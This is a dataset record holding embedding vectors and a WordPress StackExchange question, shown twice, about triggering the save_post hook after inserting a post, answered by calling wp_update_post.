0.03326416015625, -0.04833984375, 0.039154052734375, -0.009552001953125, -0.01074981689453125, -0.0012645721435546875, 0.0222930908203125, -0.0382080078125, 0.029449462890625, 0.00020170211791992188, -0.000006794929504394531, 0.01544952392578125, -0.053070068359375, 0.048797607421875, 0.0104522705078125, -0.006793975830078125, -0.002902984619140625, -0.00574493408203125, -0.012054443359375, 0.0232696533203125, -0.006175994873046875, -0.005062103271484375, 0.0254974365234375, 0.004520416259765625, -0.03167724609375, 0.0134735107421875, 0.009918212890625, 0.040985107421875, 0.014373779296875, -0.0199737548828125, -0.026123046875, -0.0066680908203125, -0.040069580078125, -0.003719329833984375, 0.0095672607421875, 0.044677734375, 0.005489349365234375, -0.04766845703125, -0.0325927734375, 0.0036106109619140625, -0.0296630859375, -0.0631103515625, -0.00827789306640625, 0.008575439453125, -0.01873779296875, -0.00789642333984375, 0.04339599609375, -0.0024089813232421875, 0.00919342041015625, -0.00923919677734375, 0.0030517578125, -0.00897979736328125, 0.005962371826171875, 0.0308380126953125, -0.0009331703186035156, 0.006397247314453125, -0.0156707763671875, 0.015869140625, -0.0213470458984375, -0.006664276123046875, 0.0167694091796875, 0.027252197265625, -0.025299072265625, -0.01441192626953125, 0.016632080078125, -0.0238189697265625, 0.0223236083984375, -0.018707275390625, -0.061004638671875, -0.0215301513671875, -0.00605010986328125, -0.0150604248046875, 0.0239715576171875, -0.0294342041015625, 0.01451873779296875, -0.015777587890625, 0.0301513671875, 0.03778076171875, -0.006046295166015625, -0.01285552978515625, 0.003429412841796875, 0.0034351348876953125, 0.0100555419921875, -0.0118865966796875, -0.0174713134765625, -0.0173492431640625, -0.015625, -0.00977325439453125, -0.004100799560546875, 0.0184326171875, -0.051177978515625, -0.0333251953125, -0.0184326171875, 0.05517578125, -0.07708740234375, 0.0330810546875, 0.00617218017578125, 0.0276336669921875, -0.01116943359375, -0.04620361328125, -0.054473876953125, -0.03155517578125, -0.03985595703125, -0.049041748046875, -0.015838623046875, 0.03564453125, -0.0057373046875, 0.0132904052734375, -0.0203094482421875, 0.00749969482421875, -0.01055145263671875, 0.03216552734375, 0.01129150390625, 0.06365966796875, -0.020721435546875, 0.051300048828125, -0.023651123046875, 0.032867431640625, -0.01432037353515625, -0.008697509765625, -0.0101165771484375, -0.0086669921875, 0.01175689697265625, -0.0176239013671875, -0.022613525390625, -0.01245880126953125, 0.0325927734375, -0.01020050048828125, -0.00955963134765625, 0.0011816024780273438, 0.04052734375, -0.00516510009765625, 0.0079803466796875, -0.01560211181640625, -0.004779815673828125, -0.0115966796875, 0.055206298828125, -0.013427734375, -0.0166015625, -0.0268707275390625, 0.0134429931640625, -0.0198211669921875, 0.0170440673828125, 0.0072784423828125, 0.0048370361328125, -0.013946533203125, 0.03515625, -0.020782470703125, 0.01453399658203125, -0.0222015380859375, -0.01470184326171875, 0.048614501953125, 0.0032520294189453125, -0.0225067138671875, 0.0888671875, -0.0293731689453125, -0.0523681640625, -0.002445220947265625, 0.0132598876953125, -0.0203399658203125, -0.036041259765625, -0.01023101806640625, -0.00470733642578125, 0.05474853515625, 0.0584716796875, -0.055389404296875, 0.00229644775390625, 0.040618896484375, -0.0250244140625, -0.071044921875, -0.038787841796875, 0.037445068359375, -0.037261962890625, 0.060516357421875, 0.04583740234375, -0.011322021484375, 0.01229095458984375, -0.033111572265625, 0.00444793701171875, -0.007373809814453125, 0.047576904296875, 0.0191192626953125, 0.00846099853515625, -0.00010585784912109375, -0.018218994140625, 0.049407958984375, 0.0225677490234375, 0.006824493408203125, 0.02691650390625, -0.046417236328125, -0.0443115234375, -0.0264434814453125, -0.01519775390625, -0.0438232421875, 0.01593017578125, 0.0028896331787109375, -0.01055908203125, 0.049285888671875, -0.030853271484375, 0.045318603515625, 0.00980377197265625, 0.0157470703125, -0.00873565673828125, -0.01363372802734375, 0.026336669921875, -0.0004642009735107422, -0.0179595947265625, 0.0234832763671875, -0.0228271484375, -0.0176544189453125, -0.00033593177795410156, 0.06787109375, 0.054840087890625, 0.00193023681640625, -0.04052734375, 0.05889892578125, 0.0298919677734375, -0.03369140625, -0.00513458251953125, 0.08673095703125, -0.0175628662109375, 0.0212249755859375, 0.04180908203125, 0.032928466796875, -0.04412841796875, 0.017730712890625, -0.044708251953125, 0.0628662109375, -0.005126953125, -0.002628326416015625, 0.0221099853515625, 0.0301055908203125, -0.0240325927734375, 0.0107574462890625, -0.034912109375, 0.048828125, 0.0061798095703125, 0.02899169921875, -0.05059814453125, -0.01007843017578125, -0.00991058349609375, 0.0269927978515625, -0.03009033203125, -0.0235748291015625, -0.0219573974609375, -0.0011281967163085938, 0.03302001953125, 0.0516357421875, 0.026123046875, 0.0103607177734375, -0.01568603515625, -0.01160430908203125, -0.020111083984375, -0.00279998779296875, 0.032867431640625, -0.04473876953125, -0.043182373046875, -0.0011034011840820312, 0.0030307769775390625, -0.0030422210693359375, 0.022796630859375, 0.052703857421875, -0.04052734375, 0.007701873779296875, 0.03936767578125, 0.0080108642578125, 0.01611328125, -0.004398345947265625, -0.025726318359375, 0.006023406982421875, -0.01922607421875, 0.00414276123046875, 0.0162811279296875, -0.0136260986328125, -0.0303802490234375, -0.00893402099609375, 0.006267547607421875, -0.06488037109375, -0.0005102157592773438, -0.0233154296875, 0.030670166015625, -0.03973388671875, 0.0255126953125, 0.01416778564453125, 0.0148773193359375, -0.0087432861328125, 0.041748046875, 0.021209716796875, 0.016082763671875, -0.037017822265625, -0.0501708984375, 0.011260986328125, 0.02227783203125, 0.0227508544921875, 0.00815582275390625, 0.02935791015625, -0.00045299530029296875, 0.046142578125, 0.0251922607421875, -0.045989990234375, -0.0199737548828125, 0.01763916015625, 0.0200347900390625, 0.0130615234375, 0.0321044921875, -0.059661865234375, -0.060821533203125, 0.00804901123046875, 0.01617431640625, 0.08984375, 0.039154052734375, 0.051025390625, 0.00028014183044433594, -0.04864501953125, -0.020263671875, 0.006137847900390625, 0.01358795166015625, 0.01422882080078125, -0.005340576171875, 0.002574920654296875, 0.053436279296875, 0.034515380859375, 0.0012845993041992188, 0.07244873046875, 0.0411376953125, 0.03302001953125, 0.0169830322265625, -0.00525665283203125, 0.07037353515625, -0.0279998779296875, -0.04302978515625, -0.0174102783203125, 0.01561737060546875, 0.032684326171875, 0.0164337158203125, 0.018829345703125, 0.05029296875, 0.0179443359375, 0.003620147705078125, 0.036285400390625, -0.0005779266357421875, -0.03216552734375, 0.0159912109375, -0.0308685302734375, 0.053192138671875, 0.02923583984375, -0.0080718994140625, 0.006488800048828125, 0.020751953125, -0.00766754150390625, -0.01512908935546875, 0.0195770263671875, -0.0267791748046875, 0.02899169921875, -0.007633209228515625, -0.0016841888427734375, 0.013519287109375, -0.009674072265625, 0.025604248046875, 0.0380859375, 0.002716064453125, 0.018463134765625, -0.0643310546875, -0.04656982421875, -0.034027099609375, 0.0419921875, -0.022705078125, 0.1099853515625, -0.0433349609375, 0.0121307373046875, -0.0014925003051757812, -0.017913818359375, 0.03692626953125, -0.0116729736328125, 0.019866943359375, 0.047210693359375, 0.01497650146484375, -0.030670166015625, -0.02020263671875, 0.048553466796875, 0.0113983154296875, -0.024871826171875, 0.047332763671875, -0.02703857421875, 0.00112152099609375, 0.003749847412109375, -0.00959014892578125, -0.045166015625, -0.09710693359375, -0.023284912109375, 0.07635498046875, -0.057830810546875, -0.0106353759765625, -0.015869140625, 0.0242156982421875, -0.01055908203125, -0.032318115234375, 0.0073699951171875, -0.021759033203125, -0.019439697265625, 0.02227783203125, 0.0201416015625, 0.0234222412109375, -0.00177001953125, -0.01800537109375, 0.0018472671508789062, -0.0005812644958496094, -0.049407958984375, 0.01476287841796875, -0.01136016845703125, 0.0207672119140625, 0.0445556640625, 0.038787841796875, -0.01422119140625, 0.010498046875, 0.052154541015625, -0.01763916015625, -0.02777099609375, 0.0288238525390625, -0.0245361328125, -0.0162506103515625, -0.0157318115234375, 0.0164794921875, -0.0139617919921875, -0.026519775390625, -0.056671142578125, -0.006011962890625, 0.01499176025390625, -0.00015366077423095703, -0.049041748046875, 0.04461669921875, -0.00388336181640625, -0.0024776458740234375, -0.02252197265625, 0.0270233154296875, -0.0197601318359375, -0.02410888671875, -0.01161956787109375, -0.038604736328125, -0.02398681640625, 0.084716796875, -0.0158233642578125, 0.015716552734375, 0.0288848876953125, -0.0102691650390625, -0.011383056640625, -0.00972747802734375, 0.0106964111328125, 0.03662109375, 0.003131866455078125, -0.0099334716796875, 0.032318115234375, 0.01212310791015625, -0.031463623046875, -0.0880126953125, -0.0005164146423339844, -0.047210693359375, 0.020782470703125, 0.0187530517578125, -0.0162200927734375, 0.003021240234375, -0.0312347412109375, -0.10150146484375, -0.00022530555725097656, 0.004688262939453125, -0.052398681640625, -0.00926971435546875, 0.0217742919921875, 0.00295257568359375, -0.0079498291015625, -0.005908966064453125, 0.01605224609375, -0.0137176513671875, -0.0191650390625, -0.0237274169921875, -0.01287078857421875, 0.0501708984375, -0.039581298828125, -0.04052734375, -0.0302734375, -0.01009368896484375, -0.02764892578125, 0.01306915283203125, 0.00348663330078125, 0.0430908203125, 0.07275390625, -0.0004296302795410156, 0.0447998046875, 0.01043701171875, -0.0469970703125, -0.007114410400390625, -0.00543975830078125, -0.0282745361328125, -0.017608642578125, 0.034210205078125, 0.0457763671875, -0.00753021240234375, -0.01447296142578125, -0.0240020751953125, -0.0186309814453125, -0.05145263671875, -0.0038280487060546875, 0.035614013671875, -0.0860595703125, -0.006862640380859375, 0.01129913330078125, 0.005283355712890625, 0.0213165283203125, -0.01132965087890625, -0.007221221923828125, -0.0113525390625, -0.01491546630859375, -0.01849365234375, -0.020294189453125, -0.0386962890625, 0.08416748046875, -0.0362548828125, 0.017425537109375, 0.0245819091796875, 0.02178955078125, 0.06793212890625, 0.062225341796875, -0.0011796951293945312, -0.0148773193359375, -0.01197052001953125, 0.0040435791015625, 0.01340484619140625, 0.035400390625, -0.001804351806640625, -0.038055419921875, 0.005916595458984375, -0.03143310546875, -0.002178192138671875, -0.039764404296875, 0.01436614990234375, -0.0298004150390625, -0.04705810546875, 0.05426025390625, -0.006134033203125, 0.0153656005859375, -0.0272216796875, 0.042633056640625, -0.01105499267578125, -0.01198577880859375, 0.0056610107421875, 0.000701904296875, -0.003726959228515625, 0.0301971435546875, -0.011505126953125, -0.04766845703125, 0.02252197265625, 0.017822265625, 0.0310821533203125, 0.01271820068359375 ]
d3e74f06463ba15363207ff9efe792f4d5cc584f
Wordpress Stackexchange Q: Using wp_insert_post and post_update_meta but need to fire save_post afterward I am using a calendar plugin. I have been using form data to create a new custom post type of calendar plugin and then update post meta custom fields for that calendar plugin. This works. However there are other post meta that fired upon save_post action from the plugin classes. I am trying to find a way to fire: do_action( 'save_post', $post_id, $post, $update ); afterward. I have the $post_id but not the $post or $update. so that it fires all the methods as if I am clicking on save post in the admin. Thank you, A: You should be able to use wp_update_post() -https://codex.wordpress.org/Function_Reference/wp_update_post Eg. $my_post = array( 'ID' => $post_id, ); wp_update_post( $my_post ); The 'save_post' action should run when this function is called.
Q: Using wp_insert_post and post_update_meta but need to fire save_post afterward I am using a calendar plugin. I have been using form data to create a new custom post type of calendar plugin and then update post meta custom fields for that calendar plugin. This works. However there are other post meta that fired upon save_post action from the plugin classes. I am trying to find a way to fire: do_action( 'save_post', $post_id, $post, $update ); afterward. I have the $post_id but not the $post or $update. so that it fires all the methods as if I am clicking on save post in the admin. Thank you, A: You should be able to use wp_update_post() -https://codex.wordpress.org/Function_Reference/wp_update_post Eg. $my_post = array( 'ID' => $post_id, ); wp_update_post( $my_post ); The 'save_post' action should run when this function is called.
wordpress
{ "language": "en", "length": 137, "provenance": "stackexchange_00019.jsonl.gz:486124", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/303369" }
[ 0.04913330078125, 0.00324249267578125, -0.0302276611328125, -0.03265380859375, 0.02386474609375, -0.0430908203125, 0.044952392578125, -0.01513671875, 0.005615234375, 0.00627899169921875, -0.003185272216796875, -0.01444244384765625, -0.01282501220703125, -0.03106689453125, -0.0126190185546875, -0.022186279296875, 0.04803466796875, -0.0149993896484375, 0.0130615234375, -0.015777587890625, -0.0084991455078125, 0.018096923828125, 0.0333251953125, 0.0836181640625, 0.042266845703125, 0.018768310546875, -0.01274871826171875, -0.01959228515625, 0.01995849609375, 0.01390838623046875, 0.0185089111328125, -0.0279388427734375, 0.035400390625, 0.00467681884765625, -0.0092315673828125, 0.0208892822265625, 0.01151275634765625, -0.004711151123046875, -0.0006804466247558594, 0.033111572265625, 0.018524169921875, -0.0099639892578125, 0.00969696044921875, -0.0009336471557617188, -0.006824493408203125, -0.029571533203125, 0.0207061767578125, -0.0155181884765625, 0.0160675048828125, -0.003696441650390625, -0.0033664703369140625, -0.021392822265625, 0.015045166015625, -0.029510498046875, -0.01427459716796875, -0.0211944580078125, -0.050811767578125, 0.0233612060546875, 0.045562744140625, 0.03961181640625, -0.025146484375, -0.0447998046875, 0.006153106689453125, -0.06475830078125, 0.0211029052734375, 0.0015468597412109375, -0.0005812644958496094, 0.0196990966796875, -0.037017822265625, 0.013824462890625, 0.034759521484375, -0.048675537109375, -0.017578125, -0.00024080276489257812, 0.0543212890625, -0.01013946533203125, 0.0309906005859375, 0.02264404296875, -0.0205535888671875, 0.0654296875, 0.02056884765625, 0.01552581787109375, 0.02825927734375, -0.022247314453125, 0.01146697998046875, 0.00920867919921875, -0.034454345703125, -0.01092529296875, -0.0271148681640625, -0.05078125, -0.026885986328125, -0.040130615234375, -0.03753662109375, -0.035552978515625, -0.0131988525390625, -0.04132080078125, 0.01171112060546875, 0.050140380859375, -0.0299530029296875, -0.0081024169921875, -0.01068878173828125, -0.0255126953125, -0.01776123046875, -0.01198577880859375, -0.003879547119140625, 0.06732177734375, 0.027801513671875, -0.006595611572265625, -0.01328277587890625, -0.01012420654296875, -0.006561279296875, -0.005420684814453125, 0.0029010772705078125, -0.0291900634765625, 0.012115478515625, 0.0032958984375, -0.02374267578125, 0.0275421142578125, 0.0146484375, 0.00452423095703125, 0.0191192626953125, 0.0301361083984375, -0.0211639404296875, -0.0355224609375, 0.022003173828125, -0.01025390625, -0.030853271484375, -0.005283355712890625, 0.00714111328125, 0.0093231201171875, -0.045745849609375, 0.0207977294921875, 0.1129150390625, 0.0229034423828125, 0.01476287841796875, -0.0184326171875, -0.004467010498046875, -0.01198577880859375, -0.027984619140625, 0.0204620361328125, -0.014068603515625, -0.04351806640625, -0.018707275390625, -0.0143280029296875, 0.0251922607421875, 0.00939178466796875, -0.0037021636962890625, 0.0202484130859375, 0.0338134765625, -0.04119873046875, 0.02069091796875, -0.023529052734375, 0.00931549072265625, 0.0236358642578125, 0.0209503173828125, -0.0161895751953125, 0.069580078125, -0.04595947265625, 0.01094818115234375, -0.04302978515625, -0.0207672119140625, 0.01071929931640625, 0.0292205810546875, -0.03497314453125, -0.049072265625, -0.01171875, -0.046844482421875, -0.0121612548828125, 0.0293426513671875, 0.019989013671875, 0.0238189697265625, 0.01525115966796875, 0.05438232421875, -0.0036678314208984375, -0.0234527587890625, -0.002948760986328125, 0.0116729736328125, -0.0247802734375, 0.0350341796875, 0.01064300537109375, -0.038970947265625, -0.0146942138671875, 0.03509521484375, -0.03125, -0.02093505859375, 0.0175933837890625, 0.01015472412109375, 0.00888824462890625, -0.0013990402221679688, 0.0155181884765625, 0.0196380615234375, 0.038055419921875, -0.011749267578125, 0.02874755859375, 0.0008831024169921875, -0.0200347900390625, 0.01522064208984375, 0.01529693603515625, -0.0095062255859375, -0.032806396484375, -0.0177764892578125, 0.0260467529296875, -0.027008056640625, 0.032012939453125, -0.07061767578125, 0.027618408203125, -0.037567138671875, 0.053253173828125, -0.0296630859375, 0.0121612548828125, 0.0246124267578125, -0.0012655258178710938, -0.0149383544921875, -0.03759765625, -0.0264892578125, -0.003204345703125, -0.023223876953125, 0.041107177734375, -0.0073394775390625, 0.05230712890625, 0.003986358642578125, -0.05035400390625, -0.0045013427734375, -0.011505126953125, 0.0645751953125, -0.01806640625, 0.000007748603820800781, -0.03570556640625, 0.034393310546875, 0.01123046875, -0.06878662109375, 0.047637939453125, 0.007701873779296875, 0.005336761474609375, -0.036468505859375, -0.00984954833984375, -0.031768798828125, -0.0909423828125, 0.014739990234375, 0.07830810546875, 0.0128326416015625, 0.0096282958984375, -0.0258636474609375, 0.015960693359375, 0.030303955078125, -0.009033203125, 0.0042877197265625, 0.01049041748046875, 0.01528167724609375, 0.05426025390625, -0.026458740234375, 0.0023250579833984375, 0.01448822021484375, -0.06671142578125, -0.003955841064453125, 0.04388427734375, -0.0014896392822265625, -0.042236328125, 0.006389617919921875, -0.0154876708984375, 0.0183563232421875, -0.072509765625, -0.0689697265625, -0.0016241073608398438, 0.0171966552734375, -0.0095367431640625, 0.0246429443359375, 0.01125335693359375, -0.00397491455078125, -0.01313018798828125, 0.0212249755859375, -0.00882720947265625, 0.01153564453125, 0.0242767333984375, -0.0002090930938720703, 0.01885986328125, -0.026153564453125, -0.01001739501953125, 0.0171966552734375, 0.028350830078125, -0.01371002197265625, 0.0037994384765625, -0.0166778564453125, -0.0141143798828125, 0.019500732421875, -0.03863525390625, 0.00333404541015625, -0.0201568603515625, 0.00031757354736328125, -0.046722412109375, 0.0062408447265625, 0.0005688667297363281, -0.0408935546875, 0.03497314453125, 0.0216522216796875, -0.057342529296875, -0.007781982421875, -0.00658416748046875, 0.0225677490234375, -0.006282806396484375, 0.010650634765625, 0.051239013671875, 0.0040130615234375, 0.006011962890625, -0.005947113037109375, -0.01155853271484375, -0.01346588134765625, 0.0302276611328125, -0.01532745361328125, -0.060638427734375, -0.01410675048828125, -0.0015535354614257812, 0.036529541015625, 0.1048583984375, 0.0050506591796875, -0.055084228515625, 0.034515380859375, 0.06353759765625, -0.03369140625, -0.07177734375, -0.055145263671875, -0.065185546875, 0.006343841552734375, -0.0247650146484375, -0.022979736328125, 0.00958251953125, -0.0193328857421875, 0.034942626953125, -0.041656494140625, 0.0139617919921875, -0.00006306171417236328, -0.0276641845703125, -0.0345458984375, -0.0283355712890625, 0.0028839111328125, 0.0018672943115234375, -0.00238037109375, 0.0819091796875, 0.00850677490234375, -0.08233642578125, -0.04266357421875, 0.006855010986328125, -0.0304718017578125, 0.00881195068359375, 0.00444793701171875, -0.0202484130859375, 0.00016391277313232422, -0.00917816162109375, 0.038604736328125, 0.01678466796875, -0.0277862548828125, 0.005329132080078125, 0.003131866455078125, -0.0391845703125, 0.04010009765625, -0.0044708251953125, -0.031982421875, 0.0289764404296875, 0.054443359375, -0.0199127197265625, 0.01038360595703125, -0.034698486328125, -0.043701171875, -0.0199737548828125, 0.0237579345703125, 0.00608062744140625, -0.0258941650390625, -0.01140594482421875, 0.007144927978515625, 0.021087646484375, 0.042633056640625, -0.0156707763671875, 0.0232086181640625, -0.0210113525390625, -0.00931549072265625, -0.04705810546875, -0.0251922607421875, -0.0273895263671875, 0.007442474365234375, -0.036529541015625, 0.004795074462890625, -0.023345947265625, 0.0206298828125, -0.035980224609375, -0.034881591796875, 0.01739501953125, -0.0653076171875, 0.03118896484375, -0.0687255859375, -0.00021219253540039062, -0.03985595703125, 0.059967041015625, 0.007610321044921875, -0.0261993408203125, 0.005252838134765625, 0.0217132568359375, -0.024658203125, -0.039886474609375, -0.006427764892578125, -0.0134429931640625, -0.04791259765625, -0.004302978515625, -0.00751495361328125, -0.0024929046630859375, -0.030975341796875, 0.09442138671875, -0.05059814453125, -0.01438140869140625, 0.038360595703125, -0.02655029296875, 0.0234375, 0.008514404296875, 0.00675201416015625, -0.013092041015625, -0.026458740234375, 0.00316619873046875, -0.0728759765625, -0.0129852294921875, -0.01403045654296875, 0.0699462890625, 0.0345458984375, -0.027923583984375, -0.0013217926025390625, 0.03961181640625, 0.02001953125, 0.04583740234375, -0.001983642578125, 0.00621795654296875, -0.005779266357421875, -0.0312347412109375, 0.030059814453125, -0.025726318359375, -0.0308990478515625, -0.007411956787109375, 0.007617950439453125, 0.0279083251953125, -0.036590576171875, -0.03485107421875, -0.010345458984375, -0.01042938232421875, 0.025787353515625, 0.0048828125, -0.024658203125, 0.0094146728515625, -0.0282440185546875, -0.01056671142578125, 0.00383758544921875, -0.0237579345703125, 0.06787109375, -0.03131103515625, 0.025390625, 0.004787445068359375, 0.11492919921875, 0.007526397705078125, -0.003997802734375, -0.038665771484375, 0.002689361572265625, 0.0215911865234375, 0.04290771484375, 0.000006735324859619141, -0.016204833984375, -0.014312744140625, 0.005405426025390625, 0.0184478759765625, -0.0080108642578125, -0.06121826171875, 0.09442138671875, -0.001178741455078125, 0.01739501953125, -0.0049896240234375, -0.04681396484375, 0.0482177734375, 0.032196044921875, -0.01800537109375, -0.00615692138671875, -0.007038116455078125, 0.0311279296875, -0.0304718017578125, 0.025360107421875, -0.031982421875, -0.0250244140625, 0.016937255859375, -0.00148773193359375, 0.0022602081298828125, 0.0379638671875, -0.0245208740234375, 0.02099609375, -0.032684326171875, -0.0196380615234375, -0.00965118408203125, 0.007602691650390625, -0.024627685546875, -0.0109710693359375, 0.030670166015625, -0.02581787109375, -0.02642822265625, 0.00958251953125, 0.0032958984375, 0.0013513565063476562, -0.022247314453125, -0.049713134765625, -0.0015811920166015625, 0.04669189453125, -0.003978729248046875, -0.0189971923828125, 0.04254150390625, 0.0587158203125, -0.00982666015625, -0.0202484130859375, 0.01055908203125, 0.0189056396484375, -0.035003662109375, -0.025146484375, 0.019195556640625, -0.03216552734375, -0.0120697021484375, 0.045135498046875, 0.018280029296875, -0.01132965087890625, -0.021026611328125, 0.076171875, 0.05255126953125, 0.038482666015625, 0.031829833984375, -0.030487060546875, -0.0083465576171875, -0.00888824462890625, -0.0567626953125, -0.03125, 0.0202484130859375, 0.000022232532501220703, 0.008758544921875, 0.007724761962890625, -0.0161285400390625, 0.041259765625, -0.0094146728515625, -0.032806396484375, 0.012359619140625, 0.040985107421875, -0.011932373046875, -0.0017461776733398438, 0.006771087646484375, -0.0027027130126953125, 0.027099609375, 0.019805908203125, -0.01337432861328125, -0.01235198974609375, 0.0196990966796875, -0.05511474609375, 0.03216552734375, -0.032379150390625, -0.032379150390625, -0.0029392242431640625, -0.00788116455078125, 0.005336761474609375, 0.050079345703125, 0.011993408203125, -0.036590576171875, -0.047027587890625, 0.0635986328125, -0.0408935546875, -0.00616455078125, -0.042633056640625, 0.05279541015625, -0.006008148193359375, 0.005390167236328125, 0.06573486328125, 0.034759521484375, -0.034210205078125, -0.02069091796875, -0.038330078125, -0.024169921875, -0.033203125, -0.0294647216796875, -0.042755126953125, 0.0033130645751953125, 0.007266998291015625, 0.042205810546875, -0.025482177734375, -0.018280029296875, -0.0096282958984375, 0.003223419189453125, -0.005001068115234375, 0.06927490234375, 0.0265045166015625, 0.0849609375, -0.02655029296875, 0.061004638671875, 0.02606201171875, 0.0248260498046875, -0.0518798828125, -0.0140838623046875, -0.0132598876953125, -0.040435791015625, 0.0104827880859375, 0.000007867813110351562, 0.01507568359375, 0.0026378631591796875, -0.00821685791015625, -0.005107879638671875, -0.0002579689025878906, -0.0225982666015625, -0.002758026123046875, -0.025177001953125, 0.060516357421875, -0.02532958984375, -0.0222625732421875, 0.04522705078125, -0.0499267578125, -0.03057861328125, -0.00238037109375, 0.033203125, 0.0286865234375, -0.038818359375, 0.002197265625, 0.01325225830078125, -0.024261474609375, 0.024261474609375, 0.078125, 0.040008544921875, 0.07391357421875, 0.016937255859375, 0.041107177734375, 0.027557373046875, -0.024322509765625, -0.01461029052734375, 0.018096923828125, 0.0628662109375, -0.0035190582275390625, -0.0231781005859375, 0.0477294921875, -0.0211181640625, 0.053070068359375, 0.051116943359375, 0.06866455078125, -0.08319091796875, 0.039520263671875, 0.021026611328125, -0.02972412109375, 0.06427001953125, -0.00061798095703125, -0.0046844482421875, 0.0037555694580078125, -0.0026149749755859375, 0.01442718505859375, -0.0148162841796875, 0.021942138671875, 0.0192718505859375, -0.00811767578125, -0.00760650634765625, 0.0204010009765625, 0.00919342041015625, -0.0181732177734375, 0.006084442138671875, 0.005512237548828125, 0.00551605224609375, -0.051727294921875, 0.01432037353515625, -0.006526947021484375, -0.00024509429931640625, -0.07147216796875, 0.02972412109375, 0.008209228515625, 0.006500244140625, 0.009857177734375, 0.024017333984375, 0.0736083984375, 0.045684814453125, 0.02874755859375, -0.01053619384765625, 0.0041961669921875, 0.050872802734375, -0.0726318359375, -0.04656982421875, 0.0301971435546875, 0.06427001953125, -0.035491943359375, 0.038665771484375, 0.00472259521484375, -0.0440673828125, 0.00945281982421875, -0.006496429443359375, 0.08050537109375, -0.037689208984375, -0.01114654541015625, 0.0007319450378417969, -0.025848388671875, 0.00848388671875, -0.01006317138671875, 0.021331787109375, -0.029937744140625, 0.00902557373046875, -0.007534027099609375, -0.0186767578125, -0.03594970703125, -0.038238525390625, -0.07659912109375, 0.1287841796875, 0.0306854248046875, 0.0258636474609375, -0.00351715087890625, 0.048675537109375, -0.05303955078125, 0.0195159912109375, -0.060760498046875, 0.0738525390625, -0.002986907958984375, 0.0181121826171875, -0.0897216796875, -0.006519317626953125, -0.0242156982421875, 0.015472412109375, 0.07147216796875, 0.01476287841796875, -0.038848876953125, -0.0174407958984375, 0.048248291015625, 0.02642822265625, 0.00601959228515625, 0.03759765625, -0.0015287399291992188, 0.0298309326171875, 0.01082611083984375, -0.026641845703125, 0.0304412841796875, -0.0231170654296875, -0.03228759765625, 0.0296478271484375, -0.006488800048828125, -0.01947021484375, -0.00762176513671875, -0.038970947265625, 0.00017070770263671875, -0.0063323974609375, -0.0244598388671875, 0.0172271728515625, 0.004962921142578125, 0.0030269622802734375, 0.0069427490234375, -0.041473388671875, 0.002666473388671875, -0.030792236328125, 0.03643798828125, 0.0006403923034667969, 0.00682830810546875, 0.0013790130615234375, 0.0018024444580078125, 0.0193634033203125, 0.0200347900390625, -0.00948333740234375, 0.0231170654296875, 0.020294189453125, 0.0733642578125, -0.0037670135498046875, 0.0079193115234375, -0.06341552734375, 0.0107269287109375, 0.048675537109375, 0.083984375, -0.053009033203125, -0.0247955322265625, 0.020721435546875, 0.013519287109375, -0.0223236083984375, -0.0200042724609375, -0.0129241943359375, -0.06683349609375, 0.00968170166015625, -0.031951904296875, 0.005889892578125, -0.00424957275390625, 0.0167388916015625, -0.004886627197265625, 0.038238525390625, -0.044952392578125, -0.014556884765625, -0.05340576171875, 0.048583984375, 0.0012521743774414062, 0.0301513671875, 0.00817108154296875, 0.048553466796875, 0.004425048828125, -0.0007152557373046875, 0.0142669677734375, 0.0092620849609375, -0.00589752197265625, -0.0152130126953125, 0.00897979736328125, -0.0263671875, 0.00597381591796875, 0.01194000244140625, 0.0023517608642578125, 0.11090087890625, 0.0633544921875, 0.044525146484375, -0.0015544891357421875, 0.01261138916015625, 0.061431884765625, -0.031463623046875, -0.01264190673828125, -0.03204345703125, -0.003910064697265625, -0.0098114013671875, -0.0034332275390625, -0.0096435546875, 0.0161285400390625, 0.013519287109375, -0.0235748291015625, 0.058990478515625, -0.004852294921875, -0.002597808837890625, 0.03570556640625, -0.00811767578125, 0.06744384765625, 0.0178070068359375, -0.0193023681640625, -0.0024700164794921875, -0.0187835693359375, -0.0291290283203125, -0.0034313201904296875, 0.021697998046875, -0.027069091796875, 0.048309326171875, -0.016265869140625, -0.0014495849609375, 0.04669189453125, -0.053802490234375, 0.0185699462890625, 0.018402099609375, -0.0026912689208984375, 0.0018339157104492188, -0.0174560546875, -0.016815185546875, -0.00432586669921875, 0.0399169921875, -0.0219879150390625, 0.054840087890625, -0.03216552734375, 0.001834869384765625, -0.00928497314453125, 0.0201263427734375, -0.031524658203125, -0.01367950439453125, -0.005466461181640625, -0.0252227783203125, 0.00775146484375, 0.005397796630859375, -0.024505615234375, 0.0005311965942382812, 0.04620361328125, 0.005367279052734375, -0.005107879638671875, 0.0126953125, 0.023101806640625, 0.002262115478515625, 0.02655029296875, -0.0166473388671875, 0.005031585693359375, -0.00673675537109375, -0.01068878173828125, 0.0277862548828125, 0.01380157470703125, 0.0283050537109375, 0.0085906982421875, -0.0000015497207641601562, -0.0131378173828125, 0.02783203125, -0.025390625, 0.0224151611328125, 0.026641845703125, -0.040008544921875, 0.0161285400390625, 0.0298614501953125, -0.0191650390625, 0.0260772705078125, 0.0187225341796875, 0.007568359375, 0.024658203125, -0.0275421142578125, -0.017974853515625, 0.04254150390625, 0.04412841796875, 0.00589752197265625, 0.027923583984375, -0.0024814605712890625, -0.0134735107421875, -0.00894927978515625, -0.00901031494140625, -0.0200958251953125, -0.0699462890625, -0.0158538818359375, 0.0047760009765625, -0.058868408203125, -0.0273284912109375, -0.0433349609375, -0.0150299072265625, 0.0236358642578125, -0.0005097389221191406, -0.0258636474609375, 0.0004687309265136719, -0.031982421875, 0.0194854736328125, -0.0158538818359375, -0.037322998046875, 0.027984619140625, 0.0931396484375, 0.00298309326171875, -0.01910400390625, -0.0100860595703125, 0.01239776611328125, -0.02886962890625, -0.00872802734375, -0.0150909423828125, -0.00566864013671875, -0.0258941650390625, 0.025726318359375, 0.007587432861328125, 0.060333251953125, 0.04046630859375, -0.00830078125, 0.00582122802734375, 0.0162811279296875, -0.01308441162109375, -0.027069091796875, 0.01549530029296875, 0.0013074874877929688, -0.023223876953125, -0.003917694091796875, 0.0004677772521972656, 0.038665771484375, -0.011138916015625, -0.044708251953125, 0.04638671875, -0.008392333984375, -0.0185546875, -0.0199737548828125, 0.00986480712890625, -0.0059051513671875, -0.005207061767578125, 0.00473785400390625, -0.053741455078125, -0.0234222412109375, 0.0175018310546875, -0.00388336181640625, -0.00943756103515625, 0.0223541259765625, -0.02227783203125, -0.0562744140625, -0.019256591796875, -0.01020050048828125, -0.02337646484375, -0.01410675048828125, 